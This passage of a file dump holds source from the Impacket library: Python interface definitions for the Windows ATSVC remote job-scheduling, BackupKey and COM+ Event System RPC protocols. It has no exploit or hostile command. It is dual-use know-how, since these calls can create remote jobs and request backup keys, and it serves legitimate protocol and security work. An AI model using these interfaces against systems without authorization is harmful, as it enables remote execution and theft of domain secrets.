transformKey(Key1)\n    Key2 = key[7:14]\n    Key2 = transformKey(Key2)\n\n    Crypt1 = DES.new(Key1, DES.MODE_ECB)\n    Crypt2 = DES.new(Key2, DES.MODE_ECB)\n\n    plain1 = Crypt1.encrypt(Block1)\n    plain2 = Crypt2.encrypt(Block2)\n\n    return plain1 + plain2\n"
  },
  {
    "path": "impacket/dcerpc/__init__.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\npass\n"
  },
  {
    "path": "impacket/dcerpc/v5/__init__.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\npass\n"
  },
  {
    "path": "impacket/dcerpc/v5/atsvc.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   [MS-TSCH] ATSVC Interface implementation\n#\n#   Best way to learn how to use these calls is to grab the protocol standard\n#   so you understand what the call does, and then read the test case located\n#   at https://github.com/fortra/impacket/tree/master/tests/SMB_RPC\n#\n#   Some calls have helper functions, which makes it even easier to use.\n#   They are located at the end of this file.\n#   Helper functions start with \"h\"<name of the call>.\n#   There are test cases for them too.\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\n\nfrom impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray\nfrom impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, UCHAR, ULONG, LPDWORD, NULL\nfrom impacket import hresult_errors\nfrom impacket.uuid import uuidtup_to_bin\nfrom impacket.dcerpc.v5.rpcrt import DCERPCException\n\nMSRPC_UUID_ATSVC  = uuidtup_to_bin(('1FF70682-0A51-30E8-076D-740BE8CEE98B','1.0'))\n\nclass DCERPCSessionError(DCERPCException):\n    def __init__(self, error_string=None, error_code=None, packet=None):\n        DCERPCException.__init__(self, error_string, error_code, packet)\n\n    def __str__( self ):\n        key = self.error_code\n        if key in hresult_errors.ERROR_MESSAGES:\n            error_msg_short = hresult_errors.ERROR_MESSAGES[key][0]\n            error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1]\n            return 'TSCH SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)\n        else:\n            return 'TSCH SessionError: unknown error code: 0x%x' % self.error_code\n\n################################################################################\n# CONSTANTS\n################################################################################\nATSVC_HANDLE = LPWSTR\n# 2.3.1 Constant Values\nCNLEN = 15\nDNLEN = CNLEN\nUNLEN = 256\nMAX_BUFFER_SIZE = (DNLEN+UNLEN+1+1)\n\n# 2.3.7 Flags\nTASK_FLAG_INTERACTIVE                  = 0x1\nTASK_FLAG_DELETE_WHEN_DONE             = 0x2\nTASK_FLAG_DISABLED                     = 0x4\nTASK_FLAG_START_ONLY_IF_IDLE           = 0x10\nTASK_FLAG_KILL_ON_IDLE_END             = 0x20\nTASK_FLAG_DONT_START_IF_ON_BATTERIES   = 0x40\nTASK_FLAG_KILL_IF_GOING_ON_BATTERIES   = 0x80\nTASK_FLAG_RUN_ONLY_IF_DOCKED           = 0x100\nTASK_FLAG_HIDDEN                       = 0x200\nTASK_FLAG_RUN_IF_CONNECTED_TO_INTERNET = 0x400\nTASK_FLAG_RESTART_ON_IDLE_RESUME       = 0x800\nTASK_FLAG_SYSTEM_REQUIRED              = 0x1000\nTASK_FLAG_RUN_ONLY_IF_LOGGED_ON        = 0x2000\n\n################################################################################\n# STRUCTURES\n################################################################################\n# 2.3.4 AT_INFO\nclass AT_INFO(NDRSTRUCT):\n    structure =  (\n        ('JobTime',DWORD),\n        ('DaysOfMonth',DWORD),\n        ('DaysOfWeek',UCHAR),\n        ('Flags',UCHAR),\n        ('Command',LPWSTR),\n    )\n\nclass LPAT_INFO(NDRPOINTER):\n    referent = (\n        ('Data',AT_INFO),\n    )\n\n# 2.3.6 AT_ENUM\nclass AT_ENUM(NDRSTRUCT):\n    structure =  (\n        ('JobId',DWORD),\n        ('JobTime',DWORD),\n        ('DaysOfMonth',DWORD),\n        ('DaysOfWeek',UCHAR),\n        ('Flags',UCHAR),\n        ('Command',LPWSTR),\n    )\n\nclass AT_ENUM_ARRAY(NDRUniConformantArray):\n    item = AT_ENUM\n\nclass LPAT_ENUM_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data',AT_ENUM_ARRAY),\n    )\n\n# 2.3.5 AT_ENUM_CONTAINER\nclass AT_ENUM_CONTAINER(NDRSTRUCT):\n    structure =  (\n        ('EntriesRead',DWORD),\n        ('Buffer',LPAT_ENUM_ARRAY),\n    )\n\n################################################################################\n# RPC CALLS\n################################################################################\n# 3.2.5.2.1 NetrJobAdd (Opnum 0)\nclass NetrJobAdd(NDRCALL):\n    opnum = 0\n    structure = (\n        ('ServerName',ATSVC_HANDLE),\n        ('pAtInfo', AT_INFO),\n    )\n\nclass NetrJobAddResponse(NDRCALL):\n    structure = (\n        ('pJobId',DWORD),\n        ('ErrorCode',ULONG),\n    )\n\n# 3.2.5.2.2 NetrJobDel (Opnum 1)\nclass NetrJobDel(NDRCALL):\n    opnum = 1\n    structure = (\n        ('ServerName',ATSVC_HANDLE),\n        ('MinJobId', DWORD),\n        ('MaxJobId', DWORD),\n    )\n\nclass NetrJobDelResponse(NDRCALL):\n    structure = (\n        ('ErrorCode',ULONG),\n    )\n\n# 3.2.5.2.3 NetrJobEnum (Opnum 2)\nclass NetrJobEnum(NDRCALL):\n    opnum = 2\n    structure = (\n        ('ServerName',ATSVC_HANDLE),\n        ('pEnumContainer', AT_ENUM_CONTAINER),\n        ('PreferedMaximumLength', DWORD),\n        ('pResumeHandle', LPDWORD),\n    )\n\nclass NetrJobEnumResponse(NDRCALL):\n    structure = (\n        ('pEnumContainer', AT_ENUM_CONTAINER),\n        ('pTotalEntries', DWORD),\n        ('pResumeHandle',LPDWORD),\n        ('ErrorCode',ULONG),\n    )\n\n# 3.2.5.2.4 NetrJobGetInfo (Opnum 3)\nclass NetrJobGetInfo(NDRCALL):\n    opnum = 3\n    structure = (\n        ('ServerName',ATSVC_HANDLE),\n        ('JobId', DWORD),\n    )\n\nclass NetrJobGetInfoResponse(NDRCALL):\n    structure = (\n        ('ppAtInfo', LPAT_INFO),\n        ('ErrorCode',ULONG),\n    )\n\n################################################################################\n# OPNUMs and their corresponding structures\n################################################################################\nOPNUMS = {\n 0 : (NetrJobAdd,NetrJobAddResponse ),\n 1 : (NetrJobDel,NetrJobDelResponse ),\n 2 : (NetrJobEnum,NetrJobEnumResponse ),\n 3 : (NetrJobGetInfo,NetrJobGetInfoResponse ),\n}\n\n################################################################################\n# HELPER FUNCTIONS\n################################################################################\ndef hNetrJobAdd(dce, serverName = NULL, atInfo = NULL):\n    netrJobAdd = NetrJobAdd()\n    netrJobAdd['ServerName'] = serverName\n    netrJobAdd['pAtInfo'] = atInfo\n    return dce.request(netrJobAdd)\n\ndef hNetrJobDel(dce, serverName = NULL, minJobId = 0, maxJobId = 0):\n    netrJobDel = NetrJobDel()\n    netrJobDel['ServerName'] = serverName\n    netrJobDel['MinJobId'] = minJobId\n    netrJobDel['MaxJobId'] = maxJobId\n    return dce.request(netrJobDel)\n\ndef hNetrJobEnum(dce, serverName = NULL, pEnumContainer = NULL, preferedMaximumLength = 0xffffffff):\n    netrJobEnum = NetrJobEnum()\n    netrJobEnum['ServerName'] = serverName\n    netrJobEnum['pEnumContainer']['Buffer'] = pEnumContainer\n    netrJobEnum['PreferedMaximumLength'] = preferedMaximumLength\n    return dce.request(netrJobEnum)\n\ndef hNetrJobGetInfo(dce, serverName = NULL, jobId = 0):\n    netrJobGetInfo = NetrJobGetInfo()\n    netrJobGetInfo['ServerName'] = serverName\n    netrJobGetInfo['JobId'] = jobId\n    return dce.request(netrJobGetInfo)\n"
  },
  {
    "path": "impacket/dcerpc/v5/bkrp.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   [MS-BKRP] Interface implementation\n#\n#   Best way to learn how to use these calls is to grab the protocol standard\n#   so you understand what the call does, and then read the test case located\n#   at https://github.com/fortra/impacket/tree/master/tests/SMB_RPC\n#\n#   Some calls have helper functions, which makes it even easier to use.\n#   They are located at the end of this file.\n#   Helper functions start with \"h\"<name of the call>.\n#   There are test cases for them too.\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\n# ToDo:\n#   [ ] 2.2.2 Client-Side-Wrapped Secret\n#\n\nfrom __future__ import division\nfrom __future__ import print_function\nfrom impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRUniConformantArray\nfrom impacket.dcerpc.v5.dtypes import DWORD, NTSTATUS, GUID, RPC_SID, NULL\nfrom impacket.dcerpc.v5.rpcrt import DCERPCException\nfrom impacket import system_errors\nfrom impacket.uuid import uuidtup_to_bin, string_to_bin\nfrom impacket.structure import Structure\n\nMSRPC_UUID_BKRP = uuidtup_to_bin(('3dde7c30-165d-11d1-ab8f-00805f14db40', '1.0'))\n\nclass DCERPCSessionError(DCERPCException):\n    def __init__(self, error_string=None, error_code=None, packet=None):\n        DCERPCException.__init__(self, error_string, error_code, packet)\n\n    def __str__( self ):\n        key = self.error_code\n        if key in system_errors.ERROR_MESSAGES:\n            error_msg_short = system_errors.ERROR_MESSAGES[key][0]\n            error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] \n            return 'BKRP SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)\n        else:\n            return 'BKRP SessionError: unknown error code: 0x%x' % self.error_code\n\n################################################################################\n# CONSTANTS\n################################################################################\n\nBACKUPKEY_BACKUP_GUID = string_to_bin(\"7F752B10-178E-11D1-AB8F-00805F14DB40\")\nBACKUPKEY_RESTORE_GUID_WIN2K = string_to_bin(\"7FE94D50-178E-11D1-AB8F-00805F14DB40\")\nBACKUPKEY_RETRIEVE_BACKUP_KEY_GUID = string_to_bin(\"018FF48A-EABA-40C6-8F6D-72370240E967\")\nBACKUPKEY_RESTORE_GUID =  string_to_bin(\"47270C64-2FC7-499B-AC5B-0E37CDCE899A\")\n\n################################################################################\n# STRUCTURES\n################################################################################\nclass BYTE_ARRAY(NDRUniConformantArray):\n    item = 'c'\n\nclass PBYTE_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', BYTE_ARRAY),\n    )\n\n# 2.2.4.1 Rc4EncryptedPayload Structure\nclass Rc4EncryptedPayload(Structure):\n    structure = (\n        ('R3', '32s=\"\"'),\n        ('MAC', '20s=\"\"'),\n        ('SID', ':', RPC_SID),\n        ('Secret', ':'),\n    )\n\n# 2.2.4 Secret Wrapped with Symmetric Key\nclass WRAPPED_SECRET(Structure):\n    structure = (\n        ('SIGNATURE', '<L=1'),\n        ('Payload_Length', '<L=0'),\n        ('Ciphertext_Length', '<L=0'),\n        ('GUID_of_Wrapping_Key', '16s=\"\"'),\n        ('R2', '68s=\"\"'),\n        ('_Rc4EncryptedPayload', '_-Rc4EncryptedPayload', 'self[\"Payload_Length\"]'),\n        ('Rc4EncryptedPayload', ':'),\n    )\n\n################################################################################\n# RPC CALLS\n################################################################################\n# 3.1.4.1 BackuprKey(Opnum 0)\nclass BackuprKey(NDRCALL):\n    opnum = 0\n    structure = (\n       ('pguidActionAgent', GUID),\n       ('pDataIn', BYTE_ARRAY),\n       ('cbDataIn', DWORD),\n       ('dwParam', DWORD),\n    )\n\nclass BackuprKeyResponse(NDRCALL):\n    structure = (\n       ('ppDataOut', PBYTE_ARRAY),\n       ('pcbDataOut', DWORD),\n       ('ErrorCode', NTSTATUS),\n    )\n\n################################################################################\n# OPNUMs and their corresponding structures\n################################################################################\nOPNUMS = {\n 0 : (BackuprKey, BackuprKeyResponse),\n}\n\n################################################################################\n# HELPER FUNCTIONS\n################################################################################\ndef hBackuprKey(dce, pguidActionAgent, pDataIn, dwParam=0):\n    request = BackuprKey()\n    request['pguidActionAgent'] = pguidActionAgent\n    request['pDataIn'] = pDataIn\n    if pDataIn == NULL:\n        request['cbDataIn'] = 0\n    else:\n        request['cbDataIn'] = len(pDataIn)\n    request['dwParam'] = dwParam\n    return dce.request(request)\n"
  },
  {
    "path": "impacket/dcerpc/v5/dcom/__init__.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\npass\n"
  },
  {
    "path": "impacket/dcerpc/v5/dcom/comev.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   [MS-COMEV]: Component Object Model Plus (COM+) Event System Protocol.\n#               This was used as a way to test the DCOM runtime. Further\n#               testing is needed to verify it is working as expected\n#\n#   Best way to learn how to use these calls is to grab the protocol standard\n#   so you understand what the call does, and then read the test case located\n#   at https://github.com/fortra/impacket/tree/master/tests/SMB_RPC\n#\n#   Since DCOM is like an OO RPC, instead of helper functions you will see the\n#   classes described in the standards developed.\n#   There are test cases for them too.\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\nfrom __future__ import division\nfrom __future__ import print_function\nfrom impacket.dcerpc.v5.ndr import NDRSTRUCT, NDRENUM, NDRUniConformantVaryingArray\nfrom impacket.dcerpc.v5.dcomrt import DCOMCALL, DCOMANSWER, INTERFACE, PMInterfacePointer, IRemUnknown\nfrom impacket.dcerpc.v5.dcom.oaut import IDispatch, BSTR, VARIANT\nfrom impacket.dcerpc.v5.dtypes import INT, ULONG, LONG, BOOLEAN\nfrom impacket.dcerpc.v5.rpcrt import DCERPCException\nfrom impacket.dcerpc.v5.enum import Enum\nfrom impacket import hresult_errors\nfrom impacket.uuid import string_to_bin, uuidtup_to_bin\n\nclass DCERPCSessionError(DCERPCException):\n    def __init__(self, error_string=None, error_code=None, packet=None):\n        DCERPCException.__init__(self, error_string, error_code, packet)\n\n    def __str__( self ):\n        if self.error_code in hresult_errors.ERROR_MESSAGES:\n            error_msg_short = hresult_errors.ERROR_MESSAGES[self.error_code][0]\n            error_msg_verbose = hresult_errors.ERROR_MESSAGES[self.error_code][1] \n            return 'COMEV SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)\n        else:\n            return 'COMEV SessionError: unknown error code: 0x%x' % self.error_code\n\n################################################################################\n# CONSTANTS\n################################################################################\n# 1.9 Standards Assignments\nCLSID_EventSystem          = string_to_bin('4E14FBA2-2E22-11D1-9964-00C04FBBB345')\nCLSID_EventSystem2         = string_to_bin('99CC098F-A48A-4e9c-8E58-965C0AFC19D5')\nCLSID_EventClass           = string_to_bin('cdbec9c0-7a68-11d1-88f9-0080c7d771bf')\nCLSID_EventSubscription    = string_to_bin('7542e960-79c7-11d1-88f9-0080c7d771bf')\nGUID_DefaultAppPartition   = string_to_bin('41E90F3E-56C1-4633-81C3-6E8BAC8BDD70')\nIID_IEventSystem           = uuidtup_to_bin(('4E14FB9F-2E22-11D1-9964-00C04FBBB345','0.0'))\nIID_IEventSystem2          = uuidtup_to_bin(('99CC098F-A48A-4e9c-8E58-965C0AFC19D5','0.0'))\nIID_IEventSystemInitialize = uuidtup_to_bin(('a0e8f27a-888c-11d1-b763-00c04fb926af','0.0'))\nIID_IEventObjectCollection = uuidtup_to_bin(('f89ac270-d4eb-11d1-b682-00805fc79216','0.0'))\nIID_IEnumEventObject       = uuidtup_to_bin(('F4A07D63-2E25-11D1-9964-00C04FBBB345','0.0'))\nIID_IEventSubscription     = uuidtup_to_bin(('4A6B0E15-2E38-11D1-9965-00C04FBBB345','0.0'))\nIID_IEventSubscription2    = uuidtup_to_bin(('4A6B0E16-2E38-11D1-9965-00C04FBBB345','0.0'))\nIID_IEventSubscription3    = uuidtup_to_bin(('FBC1D17D-C498-43a0-81AF-423DDD530AF6','0.0'))\nIID_IEventClass            = uuidtup_to_bin(('fb2b72a0-7a68-11d1-88f9-0080c7d771bf','0.0'))\nIID_IEventClass2           = uuidtup_to_bin(('fb2b72a1-7a68-11d1-88f9-0080c7d771bf','0.0'))\nIID_IEventClass3           = uuidtup_to_bin(('7FB7EA43-2D76-4ea8-8CD9-3DECC270295E','0.0'))\n\nerror_status_t = ULONG\n\n# 2.2.2.2 Property Value Types\nclass VARENUM(NDRENUM):\n    class enumItems(Enum):\n        VT_EMPTY       = 0\n        VT_NULL        = 1\n        VT_I2          = 2\n        VT_I4          = 3\n        VT_R4          = 4\n        VT_R8          = 5\n        VT_CY          = 6\n        VT_DATE        = 7\n        VT_BSTR        = 8\n        VT_DISPATCH    = 9\n        VT_ERROR       = 0xa\n        VT_BOOL        = 0xb\n        VT_VARIANT     = 0xc\n        VT_UNKNOWN     = 0xd\n        VT_DECIMAL     = 0xe\n        VT_I1          = 0x10\n        VT_UI1         = 0x11\n        VT_UI2         = 0x12\n        VT_UI4         = 0x13\n        VT_I8          = 0x14\n        VT_UI8         = 0x15\n        VT_INT         = 0x16\n        VT_UINT        = 0x17\n        VT_VOID        = 0x18\n        VT_HRESULT     = 0x19\n        VT_PTR         = 0x1a\n        VT_SAFEARRAY   = 0x1b\n        VT_CARRAY      = 0x1c\n        VT_USERDEFINED = 0x1d\n        VT_LPSTR       = 0x1e\n        VT_LPWSTR      = 0x1f\n        VT_RECORD      = 0x24\n        VT_INT_PTR     = 0x25\n        VT_UINT_PTR    = 0x26\n        VT_ARRAY       = 0x2000\n        VT_BYREF       = 0x4000\n\n################################################################################\n# STRUCTURES\n################################################################################\n# 2.2.44 TYPEATTR\nclass TYPEATTR(NDRSTRUCT):\n    structure = (\n    )\n\nclass OBJECT_ARRAY(NDRUniConformantVaryingArray):\n    item = PMInterfacePointer\n\n################################################################################\n# RPC CALLS\n################################################################################\n# 3.1.4.1 IEventSystem\n# 3.1.4.1.1 Query (Opnum 7)\nclass IEventSystem_Query(DCOMCALL):\n    opnum = 7\n    structure = (\n       ('progID', BSTR),\n       ('queryCriteria', BSTR),\n    )\n\nclass IEventSystem_QueryResponse(DCOMANSWER):\n    structure = (\n       ('errorIndex', INT),\n       ('ppInterface', PMInterfacePointer),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.1.2 Store (Opnum 8)\nclass IEventSystem_Store(DCOMCALL):\n    opnum = 8\n    structure = (\n       ('progID', BSTR),\n       ('pInterface', PMInterfacePointer),\n    )\n\nclass IEventSystem_StoreResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.1.3 Remove (Opnum 9)\nclass IEventSystem_Remove(DCOMCALL):\n    opnum = 9\n    structure = (\n       ('progID', BSTR),\n       ('queryCriteria', BSTR),\n    )\n\nclass IEventSystem_RemoveResponse(DCOMANSWER):\n    structure = (\n       ('errorIndex', INT),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.1.4 get_EventObjectChangeEventClassID (Opnum 10)\nclass IEventSystem_get_EventObjectChangeEventClassID(DCOMCALL):\n    opnum = 10\n    structure = (\n    )\n\nclass IEventSystem_get_EventObjectChangeEventClassIDResponse(DCOMANSWER):\n    structure = (\n       ('pbstrEventClassID', BSTR),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.1.5 QueryS (Opnum 11)\nclass IEventSystem_QueryS(DCOMCALL):\n    opnum = 11\n    structure = (\n       ('progID', BSTR),\n       ('queryCriteria', BSTR),\n    )\n\nclass IEventSystem_QuerySResponse(DCOMANSWER):\n    structure = (\n       ('pInterface', PMInterfacePointer),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.1.6 RemoveS (Opnum 12)\nclass IEventSystem_RemoveS(DCOMCALL):\n    opnum = 12\n    structure = (\n       ('progID', BSTR),\n       ('queryCriteria', BSTR),\n    )\n\nclass IEventSystem_RemoveSResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n################################################################################\n# 3.1.4.2 IEventClass\n# 3.1.4.2.1 get_EventClassID (Opnum 7)\nclass IEventClass_get_EventClassID(DCOMCALL):\n    opnum = 7\n    structure = (\n    )\n\nclass IEventClass_get_EventClassIDResponse(DCOMANSWER):\n    structure = (\n       ('pbstrEventClassID', BSTR),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.2.2 put_EventClassID (Opnum 8)\nclass IEventClass_put_EventClassID(DCOMCALL):\n    opnum = 8\n    structure = (\n       ('bstrEventClassID', BSTR),\n    )\n\nclass IEventClass_put_EventClassIDResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.2.3 get_EventClassName (Opnum 9)\nclass IEventClass_get_EventClassName(DCOMCALL):\n    opnum = 9\n    structure = (\n    )\n\nclass IEventClass_get_EventClassNameResponse(DCOMANSWER):\n    structure = (\n       ('pbstrEventClassName', BSTR),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.2.4 put_EventClassName (Opnum 10)\nclass IEventClass_put_EventClassName(DCOMCALL):\n    opnum = 10\n    structure = (\n       ('bstrEventClassName', BSTR),\n    )\n\nclass IEventClass_put_EventClassNameResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.2.5 get_OwnerSID (Opnum 11)\nclass IEventClass_get_OwnerSID(DCOMCALL):\n    opnum = 11\n    structure = (\n    )\n\nclass IEventClass_get_OwnerSIDResponse(DCOMANSWER):\n    structure = (\n       ('pbstrOwnerSID', BSTR),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.2.6 put_OwnerSID (Opnum 12)\nclass IEventClass_put_OwnerSID(DCOMCALL):\n    opnum = 12\n    structure = (\n       ('bstrOwnerSID', BSTR),\n    )\n\nclass IEventClass_put_OwnerSIDResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.2.7 get_FiringInterfaceID (Opnum 13)\nclass IEventClass_get_FiringInterfaceID(DCOMCALL):\n    opnum = 13\n    structure = (\n    )\n\nclass IEventClass_get_FiringInterfaceIDResponse(DCOMANSWER):\n    structure = (\n       ('pbstrFiringInterfaceID', BSTR),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.2.8 put_FiringInterfaceID (Opnum 14)\nclass IEventClass_put_FiringInterfaceID(DCOMCALL):\n    opnum = 14\n    structure = (\n       ('bstrFiringInterfaceID', BSTR),\n    )\n\nclass IEventClass_put_FiringInterfaceIDResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.2.9 get_Description (Opnum 15)\nclass IEventClass_get_Description(DCOMCALL):\n    opnum = 15\n    structure = (\n    )\n\nclass IEventClass_get_DescriptionResponse(DCOMANSWER):\n    structure = (\n       ('pbstrDescription', BSTR),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.2.10 put_Description (Opnum 16)\nclass IEventClass_put_Description(DCOMCALL):\n    opnum = 16\n    structure = (\n       ('bstrDescription', BSTR),\n    )\n\nclass IEventClass_put_DescriptionResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.2.11 get_TypeLib (Opnum 19)\nclass IEventClass_get_TypeLib(DCOMCALL):\n    opnum = 19\n    structure = (\n    )\n\nclass IEventClass_get_TypeLibResponse(DCOMANSWER):\n    structure = (\n       ('pbstrTypeLib', BSTR),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.2.12 put_TypeLib (Opnum 20)\nclass IEventClass_put_TypeLib(DCOMCALL):\n    opnum = 20\n    structure = (\n       ('bstrTypeLib', BSTR),\n    )\n\nclass IEventClass_put_TypeLibResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n################################################################################\n# 3.1.4.3 IEventClass2\n# 3.1.4.3.1 get_PublisherID (Opnum 21)\nclass IEventClass2_get_PublisherID(DCOMCALL):\n    opnum = 21\n    structure = (\n    )\n\nclass IEventClass2_get_PublisherIDResponse(DCOMANSWER):\n    structure = (\n       ('pbstrSubscriptionID', BSTR),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.3.2 put_PublisherID (Opnum 22)\nclass IEventClass2_put_PublisherID(DCOMCALL):\n    opnum = 22\n    structure = (\n       ('bstrPublisherID', BSTR),\n    )\n\nclass IEventClass2_put_PublisherIDResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.3.3 get_MultiInterfacePublisherFilterCLSID (Opnum 23)\nclass IEventClass2_get_MultiInterfacePublisherFilterCLSID(DCOMCALL):\n    opnum = 23\n    structure = (\n    )\n\nclass IEventClass2_get_MultiInterfacePublisherFilterCLSIDResponse(DCOMANSWER):\n    structure = (\n       ('pbstrPubFilCLSID', BSTR),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.3.4 put_MultiInterfacePublisherFilterCLSID (Opnum 24)\nclass IEventClass2_put_MultiInterfacePublisherFilterCLSID(DCOMCALL):\n    opnum = 24\n    structure = (\n       ('bstrPubFilCLSID', BSTR),\n    )\n\nclass IEventClass2_put_MultiInterfacePublisherFilterCLSIDResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.3.5 get_AllowInprocActivation (Opnum 25)\nclass IEventClass2_get_AllowInprocActivation(DCOMCALL):\n    opnum = 25\n    structure = (\n    )\n\nclass IEventClass2_get_AllowInprocActivationResponse(DCOMANSWER):\n    structure = (\n       ('pfAllowInprocActivation', BOOLEAN),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.3.6 put_AllowInprocActivation (Opnum 26)\nclass IEventClass2_put_AllowInprocActivation(DCOMCALL):\n    opnum = 26\n    structure = (\n       ('fAllowInprocActivation', BOOLEAN),\n    )\n\nclass IEventClass2_put_AllowInprocActivationResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.3.7 get_FireInParallel (Opnum 27)\nclass IEventClass2_get_FireInParallel(DCOMCALL):\n    opnum = 27\n    structure = (\n    )\n\nclass IEventClass2_get_FireInParallelResponse(DCOMANSWER):\n    structure = (\n       ('pfFireInParallel', BOOLEAN),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.3.8 put_FireInParallel (Opnum 28)\nclass IEventClass2_put_FireInParallel(DCOMCALL):\n    opnum = 28\n    structure = (\n       ('pfFireInParallel', BOOLEAN),\n    )\n\nclass IEventClass2_put_FireInParallelResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n################################################################################\n# 3.1.4.4 IEventSubscription\n# 3.1.4.4.1 get_SubscriptionID (Opnum 7)\nclass IEventSubscription_get_SubscriptionID(DCOMCALL):\n    opnum = 7\n    structure = (\n    )\n\nclass IEventSubscription_get_SubscriptionIDResponse(DCOMANSWER):\n    structure = (\n       ('pbstrSubscriptionID', BSTR),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.4.2 put_SubscriptionID (Opnum 8)\nclass IEventSubscription_put_SubscriptionID(DCOMCALL):\n    opnum = 8\n    structure = (\n       ('bstrSubscriptionID', BSTR),\n    )\n\nclass IEventSubscription_put_SubscriptionIDResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.4.3 get_SubscriptionName (Opnum 9)\nclass IEventSubscription_get_SubscriptionName(DCOMCALL):\n    opnum = 9\n    structure = (\n    )\n\nclass IEventSubscription_get_SubscriptionNameResponse(DCOMANSWER):\n    structure = (\n       ('pbstrSubscriptionName', BSTR),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.4.4 put_SubscriptionName (Opnum 10)\nclass IEventSubscription_put_SubscriptionName(DCOMCALL):\n    opnum = 10\n    structure = (\n       ('strSubscriptionID', BSTR),\n    )\n\nclass IEventSubscription_put_SubscriptionNameResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.4.5 get_PublisherID (Opnum 11)\nclass IEventSubscription_get_PublisherID(DCOMCALL):\n    opnum = 11\n    structure = (\n    )\n\nclass IEventSubscription_get_PublisherIDResponse(DCOMANSWER):\n    structure = (\n       ('pbstrPublisherID', BSTR),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.4.6 put_PublisherID (Opnum 12)\nclass IEventSubscription_put_PublisherID(DCOMCALL):\n    opnum = 12\n    structure = (\n       ('bstrPublisherID', BSTR),\n    )\n\nclass IEventSubscription_put_PublisherIDResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.4.7 get_EventClassID (Opnum 13)\nclass IEventSubscription_get_EventClassID(DCOMCALL):\n    opnum = 13\n    structure = (\n    )\n\nclass IEventSubscription_get_EventClassIDResponse(DCOMANSWER):\n    structure = (\n       ('pbstrEventClassID', BSTR),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.4.8 put_EventClassID (Opnum 14)\nclass 